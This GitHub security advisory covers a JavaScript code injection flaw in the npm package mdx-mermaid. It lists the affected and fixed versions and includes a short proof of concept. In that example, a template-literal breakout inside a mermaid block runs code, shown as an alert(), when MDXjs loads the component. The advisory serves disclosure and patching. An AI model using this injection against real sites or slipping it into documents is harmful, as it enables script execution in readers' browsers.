GHSA-rvgm-35jw-q628
Improper Control of Generation of Code ('Code Injection') in mdx-mermaid
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | mdx-mermaid | < 1.3.0 | 1.3.0 |
| npm | mdx-mermaid | >= 2.0.0-rc1, < 2.0.0-rc2 | 2.0.0-rc2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
Arbitary javascript injection
Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs
```
` + (function () {
// Put Javascript code here
return ''
}()) + `
```
The block below shows a valid mermaid code block
````md
```mermaid
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
````
The same block but with the exploit added
````md
```mermaid
` + (function () {
alert('vulnerable')
return ''
}()) + `
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
````
### Patches
1.3.0 and 2.0.0-rc2
### Workarounds
None known
References
External links from the advisory. They lead to third-party sites.